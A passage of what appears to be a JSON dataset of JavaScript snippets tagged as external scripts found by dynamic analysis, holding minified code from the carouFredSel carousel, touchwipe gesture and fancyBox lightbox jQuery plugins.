\"+cf_e(\"onAfter\",conf),function(a,b){a.stopPropagation();var c=a.type.slice(conf.events.prefix.length);return is_array(b)&&(clbk[c]=b),is_function(b)&&clbk[c].push(b),clbk[c]}),$cfs.bind(cf_e(\"currentPosition\",conf),function(a,b){if(a.stopPropagation(),0==itms.first)var c=0;else var c=itms.total-itms.first;return is_function(b)&&b.call($tt0,c),c}),$cfs.bind(cf_e(\"currentPage\",conf),function(a,b){a.stopPropagation();var e,c=opts.pagination.items||opts.items.visible,d=Math.ceil(itms.total/c-1);return e=0==itms.first?0:itms.first<itms.total%c?0:itms.first!=c||opts.circular?Math.round((itms.total-itms.first)/c):d,0>e&&(e=0),e>d&&(e=d),is_function(b)&&b.call($tt0,e),e}),$cfs.bind(cf_e(\"currentVisible\",conf),function(a,b){a.stopPropagation();var c=gi_getCurrentItems($cfs.children(),opts);return is_function(b)&&b.call($tt0,c),c}),$cfs.bind(cf_e(\"slice\",conf),function(a,b,c,d){if(a.stopPropagation(),0==itms.total)return!1;var e=[b,c,d],f=[\"number\",\"number\",\"function\"],g=cf_sortParams(e,f);if(b=is_number(g[0])?g[0]:0,c=is_number(g[1])?g[1]:itms.total,d=g[2],b+=itms.first,c+=itms.first,items.total>0){for(;b>itms.total;)b-=itms.total;for(;c>itms.total;)c-=itms.total;for(;0>b;)b+=itms.total;for(;0>c;)c+=itms.total}var i,h=$cfs.children();return i=c>b?h.slice(b,c):$(h.slice(b,itms.total).get().concat(h.slice(0,c).get())),is_function(d)&&d.call($tt0,i),i}),$cfs.bind(cf_e(\"isPaused\",conf)+\" \"+cf_e(\"isStopped\",conf)+\" \"+cf_e(\"isScrolling\",conf),function(a,b){a.stopPropagation();var c=a.type.slice(conf.events.prefix.length),d=crsl[c];return is_function(b)&&b.call($tt0,d),d}),$cfs.bind(cf_e(\"configuration\",conf),function(e,a,b,c){e.stopPropagation();var reInit=!1;if(is_function(a))a.call($tt0,opts);else if(is_object(a))opts_orig=$.extend(!0,{},opts_orig,a),b!==!1?reInit=!0:opts=$.extend(!0,{},opts,a);else if(!is_undefined(a))if(is_function(b)){var val=eval(\"opts.\"+a);is_undefined(val)&&(val=\"\"),b.call($tt0,val)}else{if(is_undefined(b))return eval(\"opts.\"+a);\"boolean\"!=typeof c&&(c=!0),eval(\"opts_orig.\"+a+\" = b\"),c!==!1?reInit=!0:eval(\"opts.\"+a+\" = b\")}if(reInit){sz_resetMargin($cfs.children(),opts),FN._init(opts_orig),FN._bind_buttons();var sz=sz_setSizes($cfs,opts);$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!0,sz])}return opts}),$cfs.bind(cf_e(\"linkAnchors\",conf),function(a,b,c){return a.stopPropagation(),is_undefined(b)?b=$(\"body\"):is_string(b)&&(b=$(b)),is_jquery(b)&&0!=b.length?(is_string(c)||(c=\"a.caroufredsel\"),b.find(c).each(function(){var a=this.hash||\"\";a.length>0&&-1!=$cfs.children().index($(a))&&$(this).unbind(\"click\").click(function(b){b.preventDefault(),$cfs.trigger(cf_e(\"slideTo\",conf),a)})}),!0):debug(conf,\"Not a valid object.\")}),$cfs.bind(cf_e(\"updatePageStatus\",conf),function(a,b){if(a.stopPropagation(),opts.pagination.container){var d=opts.pagination.items||opts.items.visible,e=Math.ceil(itms.total/d);b&&(opts.pagination.anchorBuilder&&(opts.pagination.container.children().remove(),opts.pagination.container.each(function(){for(var a=0;e>a;a++){var b=$cfs.children().eq(gn_getItemIndex(a*d,0,!0,itms,$cfs));$(this).append(opts.pagination.anchorBuilder.call(b[0],a+1))}})),opts.pagination.container.each(function(){$(this).children().unbind(opts.pagination.event).each(function(a){$(this).bind(opts.pagination.event,function(b){b.preventDefault(),$cfs.trigger(cf_e(\"slideTo\",conf),[a*d,-opts.pagination.deviation,!0,opts.pagination])})})}));var f=$cfs.triggerHandler(cf_e(\"currentPage\",conf))+opts.pagination.deviation;return f>=e&&(f=0),0>f&&(f=e-1),opts.pagination.container.each(function(){$(this).children().removeClass(cf_c(\"selected\",conf)).eq(f).addClass(cf_c(\"selected\",conf))}),!0}}),$cfs.bind(cf_e(\"updateSizes\",conf),function(){var b=opts.items.visible,c=$cfs.children(),d=ms_getParentSize($wrp,opts,\"width\");if(itms.total=c.length,crsl.primarySizePercentage?(opts.maxDimension=d,opts[opts.d.width]=ms_getPercentage(d,crsl.primarySizePercentage)):opts.maxDimension=ms_getMaxDimension(opts,d),opts.responsive?(opts.items.width=opts.items.sizesConf.width,opts.items.height=opts.items.sizesConf.height,opts=in_getResponsiveValues(opts,c,d),b=opts.items.visible,sz_setResponsiveSizes(opts,c)):opts.items.visibleConf.variable?b=gn_getVisibleItemsNext(c,opts,0):\"*\"!=opts.items.filter&&(b=gn_getVisibleItemsNextFilter(c,opts,0)),!opts.circular&&0!=itms.first&&b>itms.first){if(opts.items.visibleConf.variable)var e=gn_getVisibleItemsPrev(c,opts,itms.first)-itms.first;else if(\"*\"!=opts.items.filter)var e=gn_getVisibleItemsPrevFilter(c,opts,itms.first)-itms.first;else var e=opts.items.visible-itms.first;debug(conf,\"Preventing non-circular: sliding \"+e+\" items backward.\"),$cfs.trigger(cf_e(\"prev\",conf),e)}opts.items.visible=cf_getItemsAdjust(b,opts,opts.items.visibleConf.adjust,$tt0),opts.items.visibleConf.old=opts.items.visible,opts=in_getAlignPadding(opts,c);var f=sz_setSizes($cfs,opts);return $cfs.trigger(cf_e(\"updatePageStatus\",conf),[!0,f]),nv_showNavi(opts,itms.total,conf),nv_enableNavi(opts,itms.first,conf),f}),$cfs.bind(cf_e(\"destroy\",conf),function(a,b){return a.stopPropagation(),tmrs=sc_clearTimers(tmrs),$cfs.data(\"_cfs_isCarousel\",!1),$cfs.trigger(cf_e(\"finish\",conf)),b&&$cfs.trigger(cf_e(\"jumpToStart\",conf)),sz_restoreOrigCss($cfs.children()),sz_restoreOrigCss($cfs),FN._unbind_events(),FN._unbind_buttons(),\"parent\"==conf.wrapper?sz_restoreOrigCss($wrp):$wrp.replaceWith($cfs),!0}),$cfs.bind(cf_e(\"debug\",conf),function(){return debug(conf,\"Carousel width: \"+opts.width),debug(conf,\"Carousel height: \"+opts.height),debug(conf,\"Item widths: \"+opts.items.width),debug(conf,\"Item heights: \"+opts.items.height),debug(conf,\"Number of items visible: \"+opts.items.visible),opts.auto.play&&debug(conf,\"Number of items scrolled automatically: \"+opts.auto.items),opts.prev.button&&debug(conf,\"Number of items scrolled backward: \"+opts.prev.items),opts.next.button&&debug(conf,\"Number of items scrolled forward: \"+opts.next.items),conf.debug}),$cfs.bind(\"_cfs_triggerEvent\",function(a,b,c){return a.stopPropagation(),$cfs.triggerHandler(cf_e(b,conf),c)})},FN._unbind_events=function(){$cfs.unbind(cf_e(\"\",conf)),$cfs.unbind(cf_e(\"\",conf,!1)),$cfs.unbind(\"_cfs_triggerEvent\")},FN._bind_buttons=function(){if(FN._unbind_buttons(),nv_showNavi(opts,itms.total,conf),nv_enableNavi(opts,itms.first,conf),opts.auto.pauseOnHover){var a=bt_pauseOnHoverConfig(opts.auto.pauseOnHover);$wrp.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if(opts.auto.button&&opts.auto.button.bind(cf_e(opts.auto.event,conf,!1),function(a){a.preventDefault();var b=!1,c=null;crsl.isPaused?b=\"play\":opts.auto.pauseOnEvent&&(b=\"pause\",c=bt_pauseOnHoverConfig(opts.auto.pauseOnEvent)),b&&$cfs.trigger(cf_e(b,conf),c)}),opts.prev.button&&(opts.prev.button.bind(cf_e(opts.prev.event,conf,!1),function(a){a.preventDefault(),$cfs.trigger(cf_e(\"prev\",conf))}),opts.prev.pauseOnHover)){var a=bt_pauseOnHoverConfig(opts.prev.pauseOnHover);opts.prev.button.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if(opts.next.button&&(opts.next.button.bind(cf_e(opts.next.event,conf,!1),function(a){a.preventDefault(),$cfs.trigger(cf_e(\"next\",conf))}),opts.next.pauseOnHover)){var a=bt_pauseOnHoverConfig(opts.next.pauseOnHover);opts.next.button.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if(opts.pagination.container&&opts.pagination.pauseOnHover){var a=bt_pauseOnHoverConfig(opts.pagination.pauseOnHover);opts.pagination.container.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if((opts.prev.key||opts.next.key)&&$(document).bind(cf_e(\"keyup\",conf,!1,!0,!0),function(a){var b=a.keyCode;b==opts.next.key&&(a.preventDefault(),$cfs.trigger(cf_e(\"next\",conf))),b==opts.prev.key&&(a.preventDefault(),$cfs.trigger(cf_e(\"prev\",conf)))}),opts.pagination.keys&&$(document).bind(cf_e(\"keyup\",conf,!1,!0,!0),function(a){var b=a.keyCode;b>=49&&58>b&&(b=(b-49)*opts.items.visible,itms.total>=b&&(a.preventDefault(),$cfs.trigger(cf_e(\"slideTo\",conf),[b,0,!0,opts.pagination])))}),$.fn.swipe){var b=\"ontouchstart\"in window;if(b&&opts.swipe.onTouch||!b&&opts.swipe.onMouse){var c=$.extend(!0,{},opts.prev,opts.swipe),d=$.extend(!0,{},opts.next,opts.swipe),e=function(){$cfs.trigger(cf_e(\"prev\",conf),[c])},f=function(){$cfs.trigger(cf_e(\"next\",conf),[d])};switch(opts.direction){case\"up\":case\"down\":opts.swipe.options.swipeUp=f,opts.swipe.options.swipeDown=e;break;default:opts.swipe.options.swipeLeft=f,opts.swipe.options.swipeRight=e}crsl.swipe&&$cfs.swipe(\"destroy\"),$wrp.swipe(opts.swipe.options),$wrp.css(\"cursor\",\"move\"),crsl.swipe=!0}}if($.fn.mousewheel&&opts.mousewheel){var g=$.extend(!0,{},opts.prev,opts.mousewheel),h=$.extend(!0,{},opts.next,opts.mousewheel);crsl.mousewheel&&$wrp.unbind(cf_e(\"mousewheel\",conf,!1)),$wrp.bind(cf_e(\"mousewheel\",conf,!1),function(a,b){a.preventDefault(),b>0?$cfs.trigger(cf_e(\"prev\",conf),[g]):$cfs.trigger(cf_e(\"next\",conf),[h])}),crsl.mousewheel=!0}if(opts.auto.play&&$cfs.trigger(cf_e(\"play\",conf),opts.auto.delay),crsl.upDateOnWindowResize){var i=function(){$cfs.trigger(cf_e(\"finish\",conf)),opts.auto.pauseOnResize&&!crsl.isPaused&&$cfs.trigger(cf_e(\"play\",conf)),sz_resetMargin($cfs.children(),opts),$cfs.trigger(cf_e(\"updateSizes\",conf))},j=$(window),k=null;if($.debounce&&\"debounce\"==conf.onWindowResize)k=$.debounce(200,i);else if($.throttle&&\"throttle\"==conf.onWindowResize)k=$.throttle(300,i);else{var l=0,m=0;k=function(){var a=j.width(),b=j.height();(a!=l||b!=m)&&(i(),l=a,m=b)}}j.bind(cf_e(\"resize\",conf,!1,!0,!0),k)}},FN._unbind_buttons=function(){var b=(cf_e(\"\",conf),cf_e(\"\",conf,!1));ns3=cf_e(\"\",conf,!1,!0,!0),$(document).unbind(ns3),$(window).unbind(ns3),$wrp.unbind(b),opts.auto.button&&opts.auto.button.unbind(b),opts.prev.button&&opts.prev.button.unbind(b),opts.next.button&&opts.next.button.unbind(b),opts.pagination.container&&(opts.pagination.container.unbind(b),opts.pagination.anchorBuilder&&opts.pagination.container.children().remove()),crsl.swipe&&($cfs.swipe(\"destroy\"),$wrp.css(\"cursor\",\"default\"),crsl.swipe=!1),crsl.mousewheel&&(crsl.mousewheel=!1),nv_showNavi(opts,\"hide\",conf),nv_enableNavi(opts,\"removeClass\",conf)},is_boolean(configs)&&(configs={debug:configs});var crsl={direction:\"next\",isPaused:!0,isScrolling:!1,isStopped:!1,mousewheel:!1,swipe:!1},itms={total:$cfs.children().length,first:0},tmrs={auto:null,progress:null,startTime:getTime(),timePassed:0},scrl={isStopped:!1,duration:0,startTime:0,easing:\"\",anims:[]},clbk={onBefore:[],onAfter:[]},queu=[],conf=$.extend(!0,{},$.fn.carouFredSel.configs,configs),opts={},opts_orig=$.extend(!0,{},options),$wrp=\"parent\"==conf.wrapper?$cfs.parent():$cfs.wrap(\"<\"+conf.wrapper.element+' class=\"'+conf.wrapper.classname+'\" />').parent();if(conf.selector=$cfs.selector,conf.serialNumber=$.fn.carouFredSel.serialNumber++,conf.transition=conf.transition&&$.fn.transition?\"transition\":\"animate\",FN._init(opts_orig,!0,starting_position),FN._build(),FN._bind_events(),FN._bind_buttons(),is_array(opts.items.start))var start_arr=opts.items.start;else{var start_arr=[];0!=opts.items.start&&start_arr.push(opts.items.start)}if(opts.cookie&&start_arr.unshift(parseInt(cf_getCookie(opts.cookie),10)),start_arr.length>0)for(var a=0,l=start_arr.length;l>a;a++){var s=start_arr[a];if(0!=s){if(s===!0){if(s=window.location.hash,1>s.length)continue}else\"random\"===s&&(s=Math.floor(Math.random()*itms.total));if($cfs.triggerHandler(cf_e(\"slideTo\",conf),[s,0,!0,{fx:\"none\"}]))break}}var siz=sz_setSizes($cfs,opts),itm=gi_getCurrentItems($cfs.children(),opts);return opts.onCreate&&opts.onCreate.call($tt0,{width:siz.width,height:siz.height,items:itm}),$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!0,siz]),$cfs.trigger(cf_e(\"linkAnchors\",conf)),conf.debug&&$cfs.trigger(cf_e(\"debug\",conf)),$cfs},$.fn.carouFredSel.serialNumber=1,$.fn.carouFredSel.defaults={synchronise:!1,infinite:!0,circular:!0,responsive:!1,direction:\"left\",items:{start:0},scroll:{easing:\"swing\",duration:500,pauseOnHover:!1,event:\"click\",queue:!1}},$.fn.carouFredSel.configs={debug:!1,transition:!1,onWindowResize:\"throttle\",events:{prefix:\"\",namespace:\"cfs\"},wrapper:{element:\"div\",classname:\"caroufredsel_wrapper\"},classnames:{}},$.fn.carouFredSel.pageAnchorBuilder=function(a){return'<a href=\"#\"><span>'+a+\"</span></a>\"},$.fn.carouFredSel.progressbarUpdater=function(a){$(this).css(\"width\",a+\"%\")},$.fn.carouFredSel.cookie={get:function(a){a+=\"=\";for(var b=document.cookie.split(\";\"),c=0,d=b.length;d>c;c++){for(var e=b[c];\" \"==e.charAt(0);)e=e.slice(1);if(0==e.indexOf(a))return e.slice(a.length)}return 0},set:function(a,b,c){var d=\"\";if(c){var e=new Date;e.setTime(e.getTime()+1e3*60*60*24*c),d=\"; expires=\"+e.toGMTString()}document.cookie=a+\"=\"+b+d+\"; path=/\"},remove:function(a){$.fn.carouFredSel.cookie.set(a,\"\",-1)}},$.extend($.easing,{quadratic:function(a){var b=a*a;return a*(-b*a+4*b-6*a+4)},cubic:function(a){return a*(4*a*a-9*a+6)},elastic:function(a){var b=a*a;return a*(33*b*b-106*b*a+126*b-67*a+15)}}))})(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * jQuery Plugin to obtain touch gestures from iPhone, iPod Touch and iPad, should also work with Android mobile phones (not tested yet!) * Common usage: wipe images (left and right to show the previous or next image) * * @author Andreas Waltl, netCU Internetagentur (http://www.netcu.de) * @version 1.1.1 (9th December 2010) - fix bug (older IE's had problems) * @version 1.1 (1st September 2010) - support wipe up and wipe down * @version 1.0 (15th July 2010) */(function($){$.fn.touchwipe=function(settings){var config={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:true};if(settings)$.extend(config,settings);this.each(function(){var startX;var startY;var isMoving=false;function cancelTouch(){this.removeEventListener('touchmove',onTouchMove);startX=null;isMoving=false}function onTouchMove(e){if(config.preventDefaultEvents){e.preventDefault()}if(isMoving){var x=e.touches[0].pageX;var y=e.touches[0].pageY;var dx=startX-x;var dy=startY-y;if(Math.abs(dx)>=config.min_move_x){cancelTouch();if(dx>0){config.wipeLeft()}else{config.wipeRight()}}else if(Math.abs(dy)>=config.min_move_y){cancelTouch();if(dy>0){config.wipeDown()}else{config.wipeUp()}}}}function onTouchStart(e){if(e.touches.length==1){startX=e.touches[0].pageX;startY=e.touches[0].pageY;isMoving=true;this.addEventListener('touchmove',onTouchMove,false)}}if('ontouchstart'in document.documentElement){this.addEventListener('touchstart',onTouchStart,false)}});return this}})(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*! fancyBox v2.1.5 fancyapps.com | fancyapps.com/fancybox/#license */(function(r,G,f,v){var J=f(\"html\"),n=f(r),p=f(G),b=f.fancybox=function(){b.open.apply(this,arguments)},I=navigator.userAgent.match(/msie/i),B=null,s=G.createTouch!==v,t=function(a){return a&&a.hasOwnProperty&&a instanceof f},q=function(a){return a&&\"string\"===f.type(a)},E=function(a){return q(a)&&0<a.indexOf(\"%\")},l=function(a,d){var e=parseInt(a,10)||0;d&&E(a)&&(e*=b.getViewport()[d]/100);return Math.ceil(e)},w=function(a,b){return l(a,b)+\"px\"};f.extend(b,{version:\"2.1.5\",defaults:{padding:15,margin:20,width:800,height:600,minWidth:100,minHeight:100,maxWidth:9999,maxHeight:9999,pixelRatio:1,autoSize:!0,autoHeight:!1,autoWidth:!1,autoResize:!0,autoCenter:!s,fitToView:!0,aspectRatio:!1,topRatio:0.5,leftRatio:0.5,scrolling:\"auto\",wrapCSS:\"\",arrows:!0,closeBtn:!0,closeClick:!1,nextClick:!1,mouseWheel:!0,autoPlay:!1,playSpeed:3E3,preload:3,modal:!1,loop:!0,ajax:{dataType:\"html\",headers:{\"X-fancyBox\":!0}},iframe:{scrolling:\"auto\",preload:!0},swf:{wmode:\"transparent\",allowfullscreen:\"true\",allowscriptaccess:\"always\"},keys:{next:{13:\"left\",34:\"up\",39:\"left\",40:\"up\"},prev:{8:\"right\",33:\"down\",37:\"right\",38:\"down\"},close:[27],play:[32],toggle:[70]},direction:{next:\"left\",prev:\"right\"},scrollOutside:!0,index:0,type:null,href:null,content:null,title:null,tpl:{wrap:'<div class=\"fancybox-wrap\" tabIndex=\"-1\"><div class=\"fancybox-skin\"><div class=\"fancybox-outer\"><div class=\"fancybox-inner\"></div></div></div></div>',image:'<img class=\"fancybox-image\" src=\"{href}\" alt=\"\" />',iframe:'<iframe id=\"fancybox-frame{rnd}\" name=\"fancybox-frame{rnd}\" class=\"fancybox-iframe\" frameborder=\"0\" vspace=\"0\" hspace=\"0\" webkitAllowFullScreen mozallowfullscreen allowFullScreen'+(I?' allowtransparency=\"true\"':\"\")+\"></iframe>\",error:'<p class=\"fancybox-error\">The requested content cannot be loaded.<br/>Please try again later.</p>',closeBtn:'<a title=\"Close\" class=\"fancybox-item fancybox-close\" href=\"javascript:;\"></a>',next:'<a title=\"Next\" class=\"fancybox-nav fancybox-next\" href=\"javascript:;\"><span></span></a>',prev:'<a title=\"Previous\" class=\"fancybox-nav fancybox-prev\" href=\"javascript:;\"><span></span></a>'},openEffect:\"fade\",openSpeed:250,openEasing:\"swing\",openOpacity:!0,openMethod:\"zoomIn\",closeEffect:\"fade\",closeSpeed:250,closeEasing:\"swing\",closeOpacity:!0,closeMethod:\"zoomOut\",nextEffect:\"elastic\",nextSpeed:250,nextEasing:\"swing\",nextMethod:\"changeIn\",prevEffect:\"elastic\",prevSpeed:250,prevEasing:\"swing\",prevMethod:\"changeOut\",helpers:{overlay:!0,title:!0},onCancel:f.noop,beforeLoad:f.noop,afterLoad:f.noop,beforeShow:f.noop,afterShow:f.noop,beforeChange:f.noop,beforeClose:f.noop,afterClose:f.noop},group:{},opts:{},previous:null,coming:null,current:null,isActive:!1,isOpen:!1,isOpened:!1,wrap:null,skin:null,outer:null,inner:null,player:{timer:null,isActive:!1},ajaxLoad:null,imgPreload:null,transitions:{},helpers:{},open:function(a,d){if(a&&(f.isPlainObject(d)||(d={}),!1!==b.close(!0)))return f.isArray(a)||(a=t(a)?f(a).get():[a]),f.each(a,function(e,c){var k={},g,h,j,m,l;\"object\"===f.type(c)&&(c.nodeType&&(c=f(c)),t(c)?(k={href:c.data(\"fancybox-href\")||c.attr(\"href\"),title:c.data(\"fancybox-title\")||c.attr(\"title\"),isDom:!0,element:c},f.metadata&&f.extend(!0,k,c.metadata())):k=c);g=d.href||k.href||(q(c)?c:null);h=d.title!==v?d.title:k.title||\"\";m=(j=d.content||k.content)?\"html\":d.type||k.type;!m&&k.isDom&&(m=c.data(\"fancybox-type\"),m||(m=(m=c.prop(\"class\").match(/fancybox\\.(\\w+)/))?m[1]:null));q(g)&&(m||(b.isImage(g)?m=\"image\":b.isSWF(g)?m=\"swf\":\"#\"===g.charAt(0)?m=\"inline\":q(c)&&(m=\"html\",j=c)),\"ajax\"===m&&(l=g.split(/\\s+/,2),g=l.shift(),l=l.shift()));j||(\"inline\"===m?g?j=f(q(g)?g.replace(/.*(?=#[^\\s]+$)/,\"\"):g):k.isDom&&(j=c):\"html\"===m?j=g:!m&&(!g&&k.isDom)&&(m=\"inline\",j=c));f.extend(k,{href:g,type:m,content:j,title:h,selector:l});a[e]=k}),b.opts=f.extend(!0,{},b.defaults,d),d.keys!==v&&(b.opts.keys=d.keys?f.extend({},b.defaults.keys,d.keys):!1),b.group=a,b._start(b.opts.index)},cancel:function(){var a=b.coming;a&&!1!==b.trigger(\"onCancel\")&&(b.hideLoading(),b.ajaxLoad&&b.ajaxLoad.abort(),b.ajaxLoad=null,b.imgPreload&&(b.imgPreload.onload=b.imgPreload.onerror=null),a.wrap&&a.wrap.stop(!0,!0).trigger(\"onReset\").remove(),b.coming=null,b.current||b._afterZoomOut(a))},close:function(a){b.cancel();!1!==b.trigger(\"beforeClose\")&&(b.unbindEvents(),b.isActive&&(!b.isOpen||!0===a?(f(\".fancybox-wrap\").stop(!0).trigger(\"onReset\").remove(),b._afterZoomOut()):(b.isOpen=b.isOpened=!1,b.isClosing=!0,f(\".fancybox-item, .fancybox-nav\").remove(),b.wrap.stop(!0,!0).removeClass(\"fancybox-opened\"),b.transitions[b.current.closeMethod]())))},play:function(a){var d=function(){clearTimeout(b.player.timer)},e=function(){d();b.current&&b.player.isActive&&(b.player.timer=setTimeout(b.next,b.current.playSpeed))},c=function(){d();p.unbind(\".player\");b.player.isActive=!1;b.trigger(\"onPlayEnd\")};if(!0===a||!b.player.isActive&&!1!==a){if(b.current&&(b.current.loop||b.current.index<b.group.length-1))b.player.isActive=!0,p.bind({\"onCancel.player beforeClose.player\":c,\"onUpdate.player\":e,\"beforeLoad.player\":d}),e(),b.trigger(\"onPlayStart\")}else c()},next:function(a){var d=b.current;d&&(q(a)||(a=d.direction.next),b.jumpto(d.index+1,a,\"next\"))},prev:function(a){var d=b.current;d&&(q(a)||(a=d.direction.prev),b.jumpto(d.index-1,a,\"prev\"))},jumpto:function(a,d,e){var c=b.current;c&&(a=l(a),b.direction=d||c.direction[a>=c.index?\"next\":\"prev\"],b.router=e||\"jumpto\",c.loop&&(0>a&&(a=c.group.length+a%c.group.length),a%=c.group.length),c.group[a]!==v&&(b.cancel(),b._start(a)))},reposition:function(a,d){var e=b.current,c=e?e.wrap:null,k;c&&(k=b._getPosition(d),a&&\"scroll\"===a.type?(delete k.position,c.stop(!0,!0).animate(k,200)):(c.css(k),e.pos=f.extend({},e.dim,k)))},update:function(a){var d=a&&a.type,e=!d||\"orientationchange\"===d;e&&(clearTimeout(B),B=null);b.isOpen&&!B&&(B=setTimeout(function(){var c=b.current;c&&!b.isClosing&&(b.wrap.removeClass(\"fancybox-tmp\"),(e||\"load\"===d||\"resize\"===d&&c.autoResize)&&b._setDimension(),\"scroll\"===d&&c.canShrink||b.reposition(a),b.trigger(\"onUpdate\"),B=null)},e&&!s?0:300))},toggle:function(a){b.isOpen&&(b.current.fitToView=\"boolean\"===f.type(a)?a:!b.current.fitToView,s&&(b.wrap.removeAttr(\"style\").addClass(\"fancybox-tmp\"),b.trigger(\"onUpdate\")),b.update())},hideLoading:function(){p.unbind(\".loading\");f(\"#fancybox-loading\").remove()},showLoading:function(){var a,d;b.hideLoading();a=f('<div id=\"fancybox-loading\"><div></div></div>').click(b.cancel).appendTo(\"body\");p.bind(\"keydown.loading\",function(a){if(27===(a.which||a.keyCode))a.preventDefault(),b.cancel()});b.defaults.fixed||(d=b.getViewport(),a.css({position:\"absolute\",top:0.5*d.h+d.y,left:0.5*d.w+d.x}))},getViewport:function(){var a=b.current&&b.current.locked||!1,d={x:n.scrollLeft(),y:n.scrollTop()};a?(d.w=a[0].clientWidth,d.h=a[0].clientHeight):(d.w=s&&r.innerWidth?r.innerWidth:n.width(),d.h=s&&r.innerHeight?r.innerHeight:n.height());return d},unbindEvents:function(){b.wrap&&t(b.wrap)&&b.wrap.unbind(\".fb\");p.unbind(\".fb\");n.unbind(\".fb\")},bindEvents:function(){var a=b.current,d;a&&(n.bind(\"orientationchange.fb\"+(s?\"\":\" resize.fb\")+(a.autoCenter&&!a.locked?\" scroll.fb\":\"\"),b.update),(d=a.keys)&&p.bind(\"keydown.fb\",function(e){var c=e.which||e.keyCode,k=e.target||e.srcElement;if(27===c&&b.coming)return!1;!e.ctrlKey&&(!e.altKey&&!e.shiftKey&&!e.metaKey&&(!k||!k.type&&!f(k).is(\"[contenteditable]\")))&&f.each(d,function(d,k){if(1<a.group.length&&k[c]!==v)return b[d](k[c]),e.preventDefault(),!1;if(-1<f.inArray(c,k))return b[d](),e.preventDefault(),!1})}),f.fn.mousewheel&&a.mouseWheel&&b.wrap.bind(\"mousewheel.fb\",function(d,c,k,g){for(var h=f(d.target||null),j=!1;h.length&&!j&&!h.is(\".fancybox-skin\")&&!h.is(\".fancybox-wrap\");)j=h[0]&&!(h[0].style.overflow&&\"hidden\"===h[0].style.overflow)&&(h[0].clientWidth&&h[0].scrollWidth>h[0].clientWidth||h[0].clientHeight&&h[0].scrollHeight>h[0].clientHeight),h=f(h).parent();if(0!==c&&!j&&1<b.group.length&&!a.canShrink){if(0<g||0<k)b.prev(0<g?\"down\":\"left\");else if(0>g||0>k)b.next(0>g?\"up\":\"right\");d.preventDefault()}}))},trigger:function(a,d){var e,c=d||b.coming||b.current;if(c){f.isFunction(c[a])&&(e=c[a].apply(c,Array.prototype.slice.call(arguments,1)));if(!1===e)return!1;c.helpers&&f.each(c.helpers,function(d,e){if(e&&b.helpers[d]&&f.isFunction(b.helpers[d][a]))b.helpers[d][a](f.extend(!0,{},b.helpers[d].defaults,e),c)});p.trigger(a)}},isImage:function(a){return q(a)&&a.match(/(^data:image\\/.*,)|(\\.(jp(e|g|eg)|gif|png|bmp|webp|svg)((\\?|#).*)?$)/i)},isSWF:function(a){return q(a)&&a.match(/\\.(swf)((\\?|#).*)?$/i)},_start:function(a){var d={},e,c;a=l(a);e=b.group[a]||null;if(!e)return!1;d=f.extend(!0,{},b.opts,e);e=d.margin;c=d.padding;\"number\"===f.type(e)&&(d.margin=[e,e,e,e]);\"number\"===f.type(c)&&(d.padding=[c,c,c,c]);d.modal&&f.extend(!0,d,{closeBtn:!1,closeClick:!1,nextClick:!1,arrows:!1,mouseWheel:!1,keys:null,helpers:{overlay:{closeClick:!1}}});d.autoSize&&(d.autoWidth=d.autoHeight=!0);\"auto\"===d.width&&(d.autoWidth=!0);\"auto\"===d.height&&(d.autoHeight=!0);d.group=b.group;d.index=a;b.coming=d;if(!1===b.trigger(\"beforeLoad\"))b.coming=null;else{c=d.type;e=d.href;if(!c)return b.coming=null,b.current&&b.router&&\"jumpto\"!==b.router?(b.current.index=a,b[b.router](b.direction)):!1;b.isActive=!0;if(\"image\"===c||\"swf\"===c)d.autoHeight=d.autoWidth=!1,d.scrolling=\"visible\";\"image\"===c&&(d.aspectRatio=!0);\"iframe\"===c&&s&&(d.scrolling=\"scroll\");d.wrap=f(d.tpl.wrap).addClass(\"fancybox-\"+(s?\"mobile\":\"desktop\")+\" fancybox-type-\"+c+\" fancybox-tmp \"+d.wrapCSS).appendTo(d.parent||\"body\");f.extend(d,{skin:f(\".fancybox-skin\",d.wrap),outer:f(\".fancybox-outer\",d.wrap),inner:f(\".fancybox-inner\",d.wrap)});f.each([\"Top\",\"Right\",\"Bottom\",\"Left\"],function(a,b){d.skin.css(\"padding\"+b,w(d.padding[a]))});b.trigger(\"onReady\");if(\"inline\"===c||\"html\"===c){if(!d.content||!d.content.length)return b._error(\"content\")}else if(!e)return b._error(\"href\");\"image\"===c?b._loadImage():\"ajax\"===c?b._loadAjax():\"iframe\"===c?b._loadIframe():b._afterLoad()}},_error:function(a){f.extend(b.coming,{type:\"html\",autoWidth:!0,autoHeight:!0,minWidth:0,minHeight:0,scrolling:\"no\",hasError:a,content:b.coming.tpl.error});b._afterLoad()},_loadImage:function(){var a=b.imgPreload=new Image;a.onload=function(){this.onload=this.onerror=null;b.coming.width=this.width/b.opts.pixelRatio;b.coming.height=this.height/b.opts.pixelRatio;b._afterLoad()};a.onerror=function(){this.onload=this.onerror=null;b._error(\"image\")};a.src=b.coming.href;!0!==a.complete&&b.showLoading()},_loadAjax:function(){var a=b.coming;b.showLoading();b.ajaxLoad=f.ajax(f.extend({},a.ajax,{url:a.href,error:function(a,e){b.coming&&\"abort\"!==e?b._error(\"ajax\",a):b.hideLoading()},success:function(d,e){\"success\"===e&&(a.content=d,b._afterLoad())}}))},_loadIframe:function(){var a=b.coming,d=f(a.tpl.iframe.replace(/\\{rnd\\}/g,(new 